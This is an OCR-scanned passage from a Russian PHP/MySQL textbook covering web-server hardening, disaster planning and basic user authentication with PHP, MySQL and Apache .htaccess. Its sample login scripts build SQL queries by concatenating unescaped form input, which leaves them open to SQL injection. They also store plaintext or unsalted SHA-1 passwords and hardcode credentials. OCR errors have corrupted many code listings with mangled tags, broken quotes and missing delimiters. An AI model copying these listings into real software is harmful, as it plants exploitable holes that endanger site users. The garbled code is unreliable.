Одним из способов снижения этого риска является реализация так называемой де- милитаризованной зоны, или DMZ (Demilitarized Zone). При этом серверы, на кото- рых выполняются веб-приложения (а также другие серверы, например, корпоратив- ный почтовый сервер), изолируются как от внешнего Интернета, так и от внутренних корпоративных сетей, как показано на рис. 16.3. Рис. 16.3. Создание демилитаризованной зоны (DMZ) У DMZ два основных преимущества: они защищают серверы и веб-приложения и от внутренних, и от внешних атак; они дополнительно защищают внутренние сети, являясь еще одним слоем за- щиты между корпоративной сетью и Интернетом. Проектирование, инсталляцию и сопровождение DMZ необходимо координиро- вать с сетевыми администраторами с учетом размещения в сети веб-приложений. Подготовьтесь к DoS- и DDoS-атакам Одна из наиболее серьезных из известных в настоящее время атак — это атака от- каза в обслуживании (Denial of Service — DoS), которая уже упоминалась в главе 15. Сетевые DoS-атаки и еще более опасные распределенные атаки отказа в обслужива- нии (Distributed Denial of Service — DDoS) используют взломанные компьютеры, чер- вей или другие ухищрения. Они используют слабые места в ПО или даже особенности таких протоколов, как TCP/IP, чтобы завалить запросами какой-либо компьютер, и он не смог отвечать на запросы подключения от нормальных клиентов. К сожалению, от такого рода атак очень трудно защититься. Некоторые поставщи- ки сетевого оборудования продают аппаратуру, которая может снизить риск и влия- ние DoS-атак, но надежной защиты от них до сих пор нет. Ваш сетевой администратор должен, по крайней мере, изучить эту проблему и уяс- нить ее суть и риски, с которыми могут столкнуться ваша сеть и ваше ПО. В сотруд- ничестве с Интернет-провайдером (или тем, у кого находятся машины, на которых работают ваши веб-приложения) вы сможете подготовиться к возможным атакам по- добного рода. Если атака будет проведена и не на ваши конкретные серверы, они все равно могут пострадать. Глава 16. Безопасность веб-приложений 373
Защита компьютера и операционной системы И последнее, о защите чего нужно позаботиться — это сервер, на котором работа- ет веб-приложение. Существует несколько способов такой защиты. Своевременное обновление операционной системы Один из наиболее легких способов защиты компьютера — максимально быстрое обновление ПО. Как только вы выбрали конкретную операционную систему в каче- стве производственной среды, вам следует настроиться на выполнение регулярных обновлений и применения исправлений безопасности для этой операционной систе- мы. Периодически нужно просматривать ресурсы, где публикуются новые предупреж- дения, исправления или обновления. Где именно вы будете получать сведения об обнаруженных уязвимостях, зависит от используемой операционной системы и других программ. Обычно их можно получать у поставщика, у которого была куплена операционная система — особенно в случае Microsoft Windows, Red Hat или SuSE Linux, либо Solaris Operating System компании Sun Microsystem. Для других операционных систем, наподобие FreeBSD, Ubuntu Linux или OpenBSD, можно зайти на веб-сайт соответствующего сообщества и увидеть реко- мендуемые исправления безопасности. В случае любых обновлений ПО необходима экспериментальная среда, в которой можно протестировать корректность установки и действие этих исправлений, прежде чем выполнить эти обновления на производственных серверах. Так вы сможете про- верить, что в вашем веб-приложении ничего не нарушается, до того, как эта проблема всплывет на рабочих серверах. Следует внимательно относиться к обновлениям и исправлениям безопасности. Если для вашей операционной системы вышло исправление безопасности, касающее- ся работы подсистемы FireWire, а в вашем сервере такого оборудования отродясь не было, то, очевидно, развертывание этого исправления будет просто лишней тратой времени. Запускайте только необходимые программы Существует проблема, которая касается многих серверов: они поставляются с большим объемом ПО — почтовые серверы, FTP-серверы, возможность работы с со- вместными файловыми ресурсами Microsoft (с помощью протокола SMB) и т.д. Хотя для работ веб-приложений обычно требуется лишь веб-сервер (IIS или Apache HTTP Server), РНР с соответствующими библиотеками и СУБД. Если вам не нужны какие-либо из дополнительных компонентов, остановите и отклю- чите их. Теперь вы можете не беспокоиться об их безопасности. Пользователи опера- ционных систем Microsoft Windows 2000 и ХР обязательно должны просмотреть список служб, выполняемых на их сервере, и остановить все ненужные. Если что-то непонятно, придется разбираться, но кто-то в Интернете уже наверняка интересовался вопросом (и получил на него ответ), что делает конкретная служба и для чего она нужна. Физическая защита сервера Мы уже говорили об одной из проблем безопасности, когда кто-то может просто зайти в ваше здание, отключить компьютер и унести его. К сожалению, это не шутка. 374 Часть III. Электронная коммерция и безопасность
Обычный сервер — не такая уж дешевая вещь, и воровать серверные компьютеры мо- гут не только в целях промышленного шпионажа или кражи интеллектуальной собст- венности. Их могут стащить и просто для перепродажи. Поэтому важно, чтобы серверы, на которых выполняются веб-приложения, хра- нились в защищенной среде, доступ к ним имел только ограниченный круг людей, и существовали процессы включения и исключения в этот круг. Планирование катастроф Если вы хотите понаблюдать за совершенно ошарашенным выражением, спросите одного из руководителей отдела компьютерных технологий, что случится с сервера- ми, да и со всем центром обработки данных, если здание, в котором они находятся, сгорит или будет уничтожено мощным землетрясением. У удручающего количества руководителей такого ответа нет, и никогда не было. Планирование катастроф (вообще-то, конечно, восстановления после катастроф) — критическая и часто пренебрегаемая часть работы службы, будь это веб-приложение или что-то еще (в том числе и ежедневные деловые операции). Обычно это набор документов или процедур, которые должны быть отработаны, чтобы иметь готовую реакцию на возможные ситуации. . * Центр обработки данных частично или полностью разрушен из-за какой-то ка- тастрофы. Вся бригада разработчиков поехала на пикник и была убита или покалечена в автокатастрофе. Головной офис корпорации сгорел дотла. Сетевой взломщик или обиженный работник компании полностью стер с сер- вера все данные для веб-приложения. Многие не любят даже говорить (по различным причинам) о катастрофах и взлом- щиках. И все же такие вещи происходят — к счастью, нечасто. Но производство обыч- но не может спокойно перенести такое время простоя, какое возникает в катастро- фических случаях, если оно не было полностью подготовлено к этому. Предприятие с дневным оборотом в миллионы долларов будет полностью разрушено, если его веб- приложение не будет работать больше недели, пока совершенно не подготовленный персонал будет пытаться создать с нуля и запустить в работу все системы. Подготовка к подобным событиям с четкими планами действий и тренинги по наи- более важным планам требуют небольших финансовых затрат, однако могут спасти производство от катастрофических убытков в случае возникновения реальной про- блемы. Ниже перечислены некоторые мероприятия, которые могут помочь в планирова- нии катастроф и аварийном восстановлении. Для всех данных ежедневно должны создаваться резервные копии, которые хранятся где-то в другом месте. Тогда даже в случае полного уничтожения цен- тра обработки информации данные будут сохранены. Напишите на бумаге и также храните в другом месте сценарии создания заново серверных сред и установки веб-приложения. Проведите для тренировки хотя бы одно такое пересоздание. Глава 16. Безопасность веб-приложений 375
Храните в нескольких местах весь исходный код, необходимый для веб-прило- жения. При наличии больших бригад программистов запретите всем членам бригады путешествовать одним транспортным средством — автомобилем или самоле- том — чтобы в случае аварии часть бригады осталась работоспособной. Создайте или приобретите автоматические средства проверки нормальной ра- боты сервера, и назначьте “аварийного оператора”, который должен будет поя- виться на работе в нерабочее время в случае возникновения проблем. Заранее договоритесь с поставщиком оборудования о немедленных поставках в случае разрушения центра обработки данных. Иначе вы можете прождать 4-6 очень неприятных недель, когда появятся новые серверы. Что дальше В следующей главе мы перейдем от вопросов безопасности к более детальному рассмотрению аутентификации — доказательству пользователями своей подлинно- сти. Будут рассмотрены несколько различных методов аутентификации посетителей, в том числе с помощью РНР и MySQL. 376 Часть III. Электронная коммерция и безопасность
17 Реализация аутентификации с помощью РНР и MySQL В этой главе мы обсудим реализацию различных технологий, использующих меха- низмы РНР и MySQL, для аутентификации пользователей. В главе рассматриваются следующие темы. Идентификация посетителей. Реализация контроля доступа. Базовая аутентификация. Использование базовой аутентификации в РНР. Базовая аутентификация с помощью файлов .htaccess сервера Apache. Аутентификация с помощью модуля mod auth mysql. Создание собственного метода аутентификации. Идентификация посетителей Интернет — это достаточно анонимная среда, однако часто полезно знать, кто конкретно просматривает ваш сайт. К счастью для конфиденциальности посетите- лей, без их содействия можно получить только очень незначительную информацию. Однако без особых усилий серверы могут получить достаточно много информации о соединенных с ними компьютерах и сетях. Обычно веб-браузер идентифицирует себя, указывая свой тип, версию и операционную систему, под управлением которой он выполняется. А с помощью JavaScript можно определить разрешение и глубину цве- та, установленные на мониторах посетителей, а также размеры окон браузера. Каждый подключенный к Интернету компьютер имеет уникальный IP-адрес. Из IP-адреса посетителя можно извлечь определенную информацию. Можно узнать, кто владеет этим адресом, а иногда, с некоторой долей вероятности, можно предполо- жить географическое местоположение посетителя. Одни адреса предоставляют боль- шую информацию, нежели другие. Глава 17. Реализация аутентификации с помощью РНР и MySQL 377
В основном пользователи, которые используют постоянные подключения к Интернету, обладают постоянными IP-адресами. А клиенты, которые пользуются ком- мутируемыми подключениями, в большинстве случаев получают во временное поль- зование один из IP-адресов поставщика. В следующий раз этот адрес может использо- ваться другим компьютером, и когда вы увидите пользователя, который посещал сайт ранее, у него, возможно, будет другой IP-адрес. К счастью для пользователей Интернета, никакая информация, которую выдает браузер, не позволяет установить личность пользователя. Если хотите выяснить имя посетителя и другие сведения, придется спросить его об этом. Многие веб-сайты вынуждают пользователей предоставлять о себе информа- цию. Например, доступ к бесплатной электронной версии газеты New York Times (http://www.nytimes.com) предоставляется только тем, кто согласен сообщить о себе такие сведения, как имя, пол и общий семейный доход. Сайт новостей и дискус- сий Slashdot (http://www.slashdot.org) позволяет зарегистрированным пользова- телям участвовать в дискуссиях под псевдонимами и настраивать для себя интерфейс сайта. Большинство сайтов электронной коммерции записывают сведения о своих клиентах при оформлении первого заказа. Это означает, что в каждом будущем зака- зе покупателю не придется заново вводить информацию о себе. Запросив и получив в ответ информацию о посетителе, ее необходимо каким-то образом связать с посетителем при его последующих посещениях сайта. Если пред- положить, что с определенного компьютера и с определенным пользовательским именем на сайт заходит только один пользователь, а каждый пользователь работает только на одном компьютере, то для идентификации пользователя можно создать cookie-набор на компьютере пользователя. Однако для большинства пользователей подобное предположение неверно. Часто многие люди совместно пользуются одним и тем же компьютером, а многие использу- ют несколько компьютеров. По крайней мере, иногда приходится повторно спраши- вать пользователя о том, кто он такой. Кроме того, придется попросить посетителя предоставить определенные доказательства того, что он тот, за кого себя выдает. Как было сказано в главе 15, предложение пользователю подтвердить свою лич- ность называется аутентификацией (authentication). Обычный метод аутентификации на веб-сайтах предлагает посетителям предоставить уникальное пользовательское имя и пароль. Аутентификация обычно служит для разрешения или запрещения дос- тупа к определенным страницам или ресурсам. Аутентификация может быть необяза- тельной либо служить другим целям, например, персонализации сайта. Реализация контроля доступа Простой контроль доступа реализовать несложно. Код, приведенный в листин- ге 17.1, выводит одну из трех возможных страниц. Если этот файл загружен без пара- метров, будет отображаться HTML-форма с приглашением ввести имя пользователя и пароль (рис. 17.1). Если при загрузке параметры присутствуют, но они были введены неправильно, отображается сообщение об ошибке (рис. 17.2). А если параметры присутствуют, и они правильные, посетителю отображается “секретное” содержимое (рис. 17.3). 378 Часть III. Электронная коммерция и безопасность
Ho^Hrdo......................... s ЯЙЮТ File gdt View Hgtory gookmarks Took Нф * С? JL htt₽: Л>0ЙЮ5Шртуз^/17^естеЬ₽Ь> __ ’ Введите свое имя и пароль • Это секретная страница. : Имя пользователя: Пароль: Войти ' Done Рис. 17.1. HTML-форма выводит запрос на ввод посетителями имени и пароля для получения доступа HoafeRrefox _ 1ЯЖ| Fite gdit View hW¥ Bookmarks look Help j * C? • 'slf .J htip:/^ocalhost/f^mys^l7/seCTet,php .. ’ Кыш отсюда! Вам не разрешено просматривать данный ресурс. Done J Рис. 17.2. Когда посетители вводят неправиль- ные сведения, необходимо вывести сообщение об ошибке. На реальном сайте, вероятно, нужно выводить более дружественное сообщение Rte gat View History Bookmarks look Help * C? ЙЙ* Q ,http:/^x2^wst^jl^ys^/17/sea'etpep Вы на месте! Вы наверняка счастливы лицезреть эту секретную страницу. Done Рис. 17.3. Когда имя и пароль указаны правиль- но, сценарий выводит “секретное” содержимое Код для создания функций, показанных на рис. 17.1, 17.2 и 17.3, приведен в лис- тинге 17.1. Глава 17. Реализация аутентификации с помощью РНР и MySQL 379
Листинг 17.1. secret.php — PHP- и HTML-код для реализации простого механизма аутентификации <?php // Создание коротких имен переменных $name = $_POST[’name’]; $password = $_POST[’password’]; if ((!isset($name)) || (!isset ($password))) { / / Посетитель должен ввести имя и пароль <Ы>Введите свое имя и пароль</Ь1> <р>Это секретная страница.</р> <form method='"post" action="secret .php’’> <р>Имя пользователя: <input type="text" name=’’name’’x/p> <р>Пароль: cinput type=’’password" name=’’password’’x/p> <p><input type="submit" name="submit" value="BonTn"x/p> </form> <?php } else if(($name == "user") && ($password == "pass")) { > / / Комбинация имени и пароля посетителя верна echo "<Ы>Вы на месте !</Ы>" . "<р>Вы наверняка счастливы лицезреть эту секретную страницу.</р>"; } else { // Комбинация имени и пароля посетителя неверна echo "<Ь1>Кыш отсюда!</hl>" . "<р>Вам не разрешено просматривать данный ресурс.</р>"; } ?> Код в листинге 17.1 реализует простой механизм аутентификации, позволяющий санкционированным посетителям видеть защищенную страницу, однако он содержит несколько существенных проблем. Описанный сценарий: поддерживает только одно жестко закодированное имя пользователя и пароль; хранит пароль в виде открытого текста; защищает только одну страницу; передает пароль в виде открытого текста. Эти проблемы можно разрешить, приложив различные усилия и добиваясь раз- личных успехов. Хранение паролей Для хранения паролей существует множество мест, более подходящих, нежели код сценария. Данные внутри сценария очень трудно изменять. Можно написать сцена- рий, который будет изменять себя, но это не особо удачная идея. При этом на сер- вере придется хранить выполняющийся на нем сценарий, доступный для записи и изменений со стороны других пользователей. Хранение паролей на сервере в от- дельном файле позволит без труда написать программу для добавления и удаления пользователей, а также для изменения паролей. 380 Часть III. Электронная коммерция и безопасность
Внутри сценария или другого файла данных существует ограничение на количе- ство пользователей, которых можно обслуживать без серьезного снижения общей производительности сценария. Если планируется сохранять большое количество элементов в файле или производить поиск среди большого числа элементов, то, как было сказано ранее, следует рассмотреть возможность использования базы данных вместо двумерного файла. В качестве практического совета можно принять следую- щее утверждение: если вы собираетесь хранить и производить поиск в более чем 100 элементах, следует отдать предпочтение базе данных. Использование базы данных для хранения имен и паролей не сильно усложнит сценарий, но позволит быстро проводить аутентификацию множества пользовате- лей. Кроме того, это упростит создание сценария для добавления и удаления пользо- вателей, а также даст возможность пользователям изменять свои пароли. Сценарий для аутентификации посетителей страницы с использованием базы дан- ных показан в листинге 17.2. Листинг 17.2. secretdb.php — усовершенствование простого механизма аутентификации с помощью MySQL <?php $name = $_POST [ ’ name ’ ] ; $password = $_POST[’password’]; if ((!isset($_POST[’name’])) I I (!isset($_POST[’password’]))) { // Посетитель должен ввести имя и пароль <Ы>Введите свое имя и пароль</Ы> <р>Это секретная страница.</р> <form method="post’’ action=’’secretdb.php’’> <р>Имя пользователя: cinput type="text" name="name’’>c/p> <р>Пароль: cinput type="password’’ name="password”x/p> cpxinput type=’’submit’’ name="submit’’ value=”BoiiTH’’x/p> </form> <?php } else { // Подключение к mysql $mysql = mysqli_connect("localhost", "webauth", "webauth"); if (!$mysql) { echo "Невозможно подключиться к СУБД.’’; exit; } / / Выбор нужной базы данных $selected = mysqli_select_db ($mysql, ’’auth’’); if (!$selected) { echo "Невозможно выбрать базу данных."; exit; } // Запрос к базе - выборка соответствующей записи $query = "select count (*) from authorized_users where name = ’ ’’ . $name."' and password = ’ ’’. $password. ’’ ’ ”; $result = mysqli_query($mysql, $query); if (!$result) { echo "Невозможно выполнить запрос.’’; exit; } Глава 17. Реализация аутентификации с помощью РНР и MySQL 381
$row = mysqli_fetch_row ($result) ; $count = $row[0]; if ($count > 0) { / / Комбинация ймени и пароля посетителя верна echo ”<Ы>Вы на месте ! </Ы>"; echo "<р>Вы наверняка счастливы лицезреть эту секретную страницу.</р>”; } else { // Комбинация имени и пароля посетителя неверна echo ’’<Ь1>Кыш отсюда! </hl>" . ”<р>Вам не разрешено просматривать данный ресурс.</р>”; } } Используемую в примере базу данных можно создать, подключившись к MySQL в качестве привилегированного пользователя и запустив сценарий, приведенный в листинге 17.3. Листинг 17.3. createauthdb. sql — эти MySQL-запросы создают базу данных auth, таблицу authorised users и двоих пользователей create database auth; use auth; create table authorized_users ( name varchar(20), password varchar(40), primary key (name) ); insert into authorized_users values (’username’, ’password’); insert into authorized_users values ('testuser’, shal('password’)); grant select on auth.* to ’webauth’ identified by ’webauth’; flush privileges; Шифрование паролей Независимо от того, где хранятся пароли — в базе данных или в файле — хранение паролей в виде простого текста сопряжено с неоправданным риском. Однонаправлен- ный алгоритм хеширования обеспечивает лучшую защиту при незначительных до- полнительных затратах. РНР предлагает несколько однонаправленных хеш-функций. Наиболее старой и наименее защищенной из них является функция crypt (), которая реализует алго- ритм Crypt из Unix. Алгоритм вычисления дайджеста Message Digest 5 (MD5), реали- зованный в функции md5 (), более стоек. Еще более стоек алгоритм Secure Hash Algorithm 1 (SHA-1). РНР-функция shal () реализует стойкий однонаправленный криптографический хеш-алгоритм. Прототип этой функции выглядит следующим образом: string shal (string str [, bool raw_output] ) 382 Часть III. Электронная коммерция и безопасность
Получив на входе строку str, эта функция возвращает псевдослучайную 40-сим- зольную строку. Если в параметре гаw_output передать true, функция возвратит 20- символьную строку двоичных данных. Например, для строки "password” функция shal () вернет строку "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8". Эта строка не может быть дешифрована и превращена обратно в "password" даже ее создате- лем, поэтому на первый взгляд она может казаться не столь уж полезной. Что делает функцию shal () полезной, так это то, что ее результат строго детерминирован. Для одной и той же строки shal () будет возвращать один и тот же результат при каждом ее вызове. Таким образом, вместо РНР-кода if ( ($username == ’username’) && ($password == ’password')) { // Пароль совпадает } можно воспользоваться кодом: if ( ($username == ’user') && (shal($password) == '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8’)) { // Пароль совпадает } Перед использованием функции shal () не требуется знать, как выглядела строка пароля. Достаточно знать, совпадает ли введенный пароль с тем, для которого при- менялась shal (). Как уже упоминалось, жесткое кодирование правильных имен и паролей посети- телей в сценарии — неудачная идея. Для их хранения следует использовать отдель- ный файл или базу данных. Если для хранения данных аутентификации выбрана база данных MySQL, можно воспользоваться PHP-функцией shal () или MySQL-функцией SHA1 (). MySQL предла- гает больший спектр алгоритмов хеширования по сравнению с РНР, однако все они служат одной и той же цели. Чтобы воспользоваться функцией SHA1 (), SQL-запрос в листинге 17.2 следует пе- реписать так: $query = "select count (*) from authorized_users where name = . $name. " ’ and password = shal (’ ". $password. ’’') "; Этот запрос подсчитывает количество строк в таблице authorized users, в ко- торых значение поля name совпадает с содержимым переменной $паше, а значение поля password совпадает с результатом применения функции SHA1 () к переменной $password. Если мы заставляем посетителей выбирать уникальные имена, результа- том запроса может быть 0 или 1. Не забывайте, что хеш-функции в общем случае возвращают данные фиксирован- ного размера. В случае SHA1 () это 40 символов при представлении в виде строки. Соответствующий столбец в базе данных должен иметь достаточную ширину. Еще раз просмотрев код в листинге 17.3, легко заметить, что мы создали одного пользователя (’ use г name ’) с незашифрованным паролем и еще одного пользователя (' testuser') — с зашифрованным паролем. । Защита нескольких страниц Защита более чем одной страницы с помощью сценариев наподобие показанных в листингах 17.1 и 17.2 выполняется немного сложнее. Поскольку в НТТР-протоко- Глава 17. Реализация аутентификации с помощью РНР и MySQL 383
ле отсутствует механизм отслеживания состояния, то не существует автоматическом связи между последовательными запросами, поступающими от одного и того же по’ сетителя. Это усложняет перенос со страницы на страницу введенных пользователем данных, таких как данные аутентификации; Наиболее простой способ защиты нескольких страниц — использование механиз- мов управления доступом, предоставляемых веб-сервером. Вскоре мы рассмотрим эти механизмы. Чтобы самостоятельно обеспечить такие возможности, придется включить части листинга 17.1 в код каждой страницы, которую необходимо защитить. С помощью ди- ректив auto prepend f ile и auto append file требуемый файл можно автомати- чески вставить в начало (prepend) или в конец (append) каждого файла в указанных каталогах. Использование этих директив обсуждалось в главе 5. Что же происходит при таком подходе, когда пользователь открывает несколько страниц сайта? Понятно, что недопустимо запрашивать пароль отдельно для каждой страницы, которую желает просмотреть пользователь. Введенную пользователем информацию можно было бы включить в каждую ги- перссылку на странице. Поскольку пользователи могут указывать пробелы или другие символы, применение которых запрещено в Интернет-адресах, следует использовать функцию urlencode (), выполняющую безопасное кодирование подобных символов. Однако с этим подходом связано еще несколько проблем. Поскольку данные аутен- тификации будут присутствовать в отправляемых посетителю веб-страницах, защи- щенные страницы, которые посетил пользователь, могут быть просмотрены любым человеком, работающим за тем же компьютером. Для этого достаточно просмотреть кэшированные копии страниц или заглянуть в список посещенных страниц браузера. Поскольку пароль пересылается в браузер и обратно вместе с каждой запрошенной или предоставленной страницей, секретная информация передается чаще, чем это необходимо. Решить эти проблемы можно с помощью двух механизмов — базовой НТТР- аутентификации и сеансов. Базовая аутентификация позволяет решить проблему кэширования, но браузер все равно отправляет пароль серверу в каждом запросе. Управление сеансами позволяет решить обе проблемы. Сначала мы рассмотрим ба- зовую HTTP-аутентификацию, а затем в главах 23 и 27 подробно исследуем вопросы управления сеансами. Базовая аутентификация К счастью, аутентификация пользователей — это достаточно распространенная задача, и возможности аутентификации встроены в протокол HTTP. Сценарии и веб- серверы могут запрашивать аутентификацию у веб-браузера. После этого веб-браузер должен вывести на экран диалоговое окно или нечто подобное и запросить у пользо- вателя необходимую информацию. Хотя веб-сервер запрашивает новые сведения аутентификации в каждом запро- се пользователя, веб-браузеру нет необходимости запрашивать эту информацию для каждой страницы. В общем случае браузер хранит сведения аутентификации до тех пор, пока открыто его окно, и автоматически отправляет их без вмешательства со стороны пользователя. Это свойство протокола HTTP называется базовой аутентификацией (basic authen- tication). Базовую аутентификацию можно включить средствами РНР или с помощью 384 Часть III. Электронная коммерция и безопасность
механизмов, встроенных в веб-сервер. Ниже мы рассмотрим методы с использовани- ем РНР, а затем методы сервера Apache. Базовая аутентификация передает имя пользователя и пароль в виде открыто- го текста и поэтому не особо безопасна. Протокол HTTP 1.1 предоставляет более безопасный метод, называемый аутентификацией с помощью дайджеста (digest authen- tication). Этот метод использует алгоритм хеширования (как правило, MD5) для сокрытия подробностей выполнения транзакции. Аутентификация с помощью дайджеста поддерживается многими веб-серверами и большинством современных браузеров. К сожалению, она не поддерживается многими устаревшими браузерами, которые все еще находятся в употреблении, и, кроме того, версия стандарта, реали- зованная в Microsoft Internet Explorer и Internet Information Server, не совместима с продуктами других компаний. В дополнение к очень слабой поддержке незначительным количеством браузеров, аутентификация с помощью дайджеста не очень безопасна. И базовая, и дайджест- аутентификация обеспечивают низкий уровень защиты. Ни один из этих методов не дает пользователю гарантий, что он работает именно с тем компьютером, доступ к которому он планировал получить. Оба метода позволяют взломщику повторить тот же запрос серверу. Поскольку базовая аутентификация передает пароль пользователя в открытом виде, любой взломщик, способный перехватывать пакеты, может сыми- тировать любой запрос пользователя. Базовая аутентификация обеспечивает (низкий) уровень защиты, подобный тому, который обеспечивается при подключении по протоколу Telnet или FTP. Эти методы также передают пароли в виде простого текста. Аутентификация с помощью дайдже- ста несколько более безопасна, поскольку она шифрует пароли перед передачей. И лишь сочетание базовой аутентификации с протоколом SSL и цифровыми сер- тификатами дозволяет надежно защитить все части транзакций в Сети. Методы на- дежной защиты рассматриваются в главе 18. Однако во многих ситуациях наиболее подходящим будет быстрый, хотя и относительно незащищенный метод, такой как базовая аутентификация. Базовая аутентификация позволяет защитить именованные зоны и требует от пользователей ввода правильного имени и пароля. Ввиду того, что зоны именован- ные, на одном сервере может существовать множество зон. Различные файлы и каталоги на одном сервере могут принадлежать разным зонам, каждая из которых защищена своими наборами имен пользователей и паролей. Именованные зоны по- зволяют также сгруппировать в одну зону несколько каталогов на одном физическом или виртуальном хосте и защитить их одним паролем. Использование базовой аутентификации в РНР В общем случае PHP-сценарии являются межплатформенными, но в основе ис- пользования базовой аутентификации лежат переменные среды, устанавливаемые сервером. Сценарий HTTP-аутентификации должен определять тип сервера и вести себя соответствующим образом в зависимости от того, выполняется он как модуль Apache на сервере Apache или как ISAPI-модуль на сервере IIS. Показанный в листин- ге 17.4 сценарий будет выполняться на обоих серверах. Глава 17. Реализация аутентификации с помощью РНР и MySQL 385
Листинг 17.4. http.php — базовую HTTP-аутентификацию можно включить средствами PHF <?php // Если используется сервер IIS, потребуется установить переменные // $_SERVER['PHP_AUTH_USER’] и $_SERVER[’PHP_AUTH_PW’] if ((substr($_SERVER[’$SERVER_SOFTWARE'], 0, 9) == ’Microsoft’) && (!isset($_SERVER[’$PHP_AUTH_USER’])) && (!isset($_SERVER['$PHP_AUTH_PW’])) && (substr($_SERVER[’$HTTP_AUTHORIZATION’], 0, 6) == ’Basic ’) ) { list($_SERVER[’$PHP_AUTH_USER’], $_SERVER[’$PHP_AUTH_PW’]) = explode(’:’, base64_decode(substr($_SERVER['$HTTP_AUTHORIZATION'], 6) ) ) ; } // Замените этот оператор if запросом к базе данных или чем-то подобным if ($_SERVER[’$PHP_AUTH_USER'] ! = ’user’ || ($_SERVER[’$PHP_AUTH_PW’] != ’pass')) { // Посетитель еще не предоставил информацию, // либо его имя и пароль неверны header (' WWW-Authenticate: Basic realm=”Realm-Name’’ ’) ; if (substr($_SERVER['$SERVER_SOFTWARE'], 0, 9) == 'Microsoft') { header('Status: 401 Unauthorized'); } else { header('HTTP/1.0 401 Unauthorized'); echo ”<hl>Kbzn отсюда ! </hl>" . ”<р>Вам не разрешено просматривать данный ресурс.</р>"; г else г ‘ Посетитель предоставил корректную информацию echo "<Ы>Вы на месте!</hl>" . "<р>Вы наверняка счастливы лицезреть эту секретную страницу.</р>"; } Код в листинге 17.4 работает так же, как и код из предшествующих листингов этой главы. Если пользователь не передал данных аутентификации, ему будет выдан запрос. Если пользователь предоставил неправильную информацию, для него отобра- жается сообщение об отказе в доступе. Если же пользователь предоставил соответст- вующую пару “имя-пароль”, он увидит содержимое страницы. Интерфейс данного примера несколько отличается от интерфейса предыдущих примеров. Мы не создаем HTML-форму для ввода имени и пароля. Диалоговое окно для аутентификации выведет браузер пользователя. Некоторые считают это улуч- шением, другие предпочитают иметь полный контроль над визуальными аспектами интерфейса. На рис. 17.4 показано диалоговое окно входа, которое выводит браузер Internet Explorer. Поскольку аутентификация выполняется встроенными возможностями браузеров, ойи осторожно подходят к обработке неудачных попыток аутентификации. Internet Explorer предоставляет пользователю три попытки для аутентификации, а потом вы- водит сообщение об отказе в доступе. 386 Часть III. Электронная коммерция и безопасность
|g. ht^:/,/localhost^iphpmysql/17/http.php Предупреждение: С^звер требует передачи имени Для входа на сервер locahost по адресу Realm-Name нужны имя пользователя и пароль. (будет выполнена обычная проверка подлинности). Пользователь: ffj | Пароте»: L J Сохранить пароль СК Отмена http.php W Местная интрасеть Ж100% Рис. 17.4. При использовании HTTP-аутентификации внешний вид диалогового окна определяется браузером пользователя Firefox предоставляет неограниченное число попыток, но между попытками вы- водит диалоговое окно с запросом о повторе ’’Authentication Failed. Retry?” (Аутентификация была неудачной. Повторить попытку?). Firefox выводит сообщение об отказе в доступе, только если пользователь щелкает на кнопке Cancel (Отмена). Как и код из листингов 17.1 и 17.2, код данного примера можно поместить во все страницы, которые требуется защитить, или автоматически вставить его в начало ка- ждого файла в каталоге. Использование базовой аутентификации с помощью файлов . htaccess сервера Apache Результата, подобного результату выполнения предыдущего сценария, можно дос- тичь и без PHP-сценария. Сервер Apache содержит множество различных модулей, которые позволяют определить правильность введенных пользователем данных. Наиболее простой из них — модуль mod auth, который сравнивает пары “имя-пароль” со строками текстового файла, хранящегося на сервере. Чтобы данные на экране пользователя совпадали с результатом выполнения пре- дыдущего сценария, потребуется создать два HTML-файла — один для содержимого страницы и один для сообщения об отказе в доступе. В предыдущих примерах были опущены некоторые элементы HTML-кода, но на самом деле в HTML-файлах должны находятся HTML-дескрипторы <html> и <body>. В листинге 17.5 показано содержимое файла content.html, которое будут видеть пользователи, успешно прошедшие аутентификацию. Листинг 17.6 содержит HTML- код страницы rejection.html с сообщением об отказе в доступе. ^Глава 17. Реализация аутентификации с помощью РНР и MySQL 387
Создавать страницу, которая будет отображаться в случае ошибки, вовсе не обя- зательно, но наличие такой страницы с полезной информацией свидетельствует о хорошем стиле и должном профессионализме. Такая страница будет отображаться пользователю при неудачной попытке войти в “закрытую” зону, и может оказаться полезной информация о том, как зарегистрироваться и получить пароль, или как его переопределить и отправить по электронной почте, если вдруг пароль был забыт. Листинг 17.5. content.html — пример контента <htmlxbody> <Ы>Вы на месте !</hl> <р>Вы наверняка счастливы лицезреть эту секретную страницу.</р> </body></html> Листинг 17.6. rejection.html — простое сообщение об ошибке 401 <htmlxbody> <hl>Kbnu отсюда !</hl> <р>Вам не разрешено просматривать данный ресурс.</р> </bodyx/html> В этих файлах нет ничего нового. Для данного примера интерес представляет файл из листинга 17.7. Этот файл должен иметь имя .htaccess. Он будет управлять доступом к файлам и подкаталогам каталога, в котором он расположен. Листинг 17.7. .htaccess — позволяет установить различные параметры сервера Apache, включая активизацию аутентификации ErrorDocument 401 /chapterl7/rejection.html AuthUserFile /home/book/.htpass AuthGroupFile /dev/null AuthName ’’Realm-Name” AuthType Basic require valid-user В листинге 17.7 показано содержимое файла .htaccess, которое обеспечивает включение базовой аутентификации в каталоге. В этом файле можно устанавливать различные параметры, однако в данном примере все шесть строк относятся к аутен- тификации. Первая строка: ErrorDocument 401 /chapterl7Zrejection.html указывает серверу Apache, какой документ следует отобразить посетителям, не про- шедшим аутентификацию (ошибка HTTP 401). Директиву ErrorDocument можно ис- пользовать несколько раз в одном файле, чтобы указать собственные страницы для сообщений о других ошибках протокола HTTP, например, об ошибке 404. Синтаксис этой директивы таков: ErrorDocument номер_ошибки URL Важно, чтобы страница с сообщением об ошибке 401 была доступна для всех по- сетителей. Не имеет смысла создавать специальную страницу с сообщением о неудач- ной аутентификации, если эта страница располагается в каталоге, в который можно попасть только после успешного прохождения аутентификации. . 388 Часть III. Электронная коммерция и безопасность
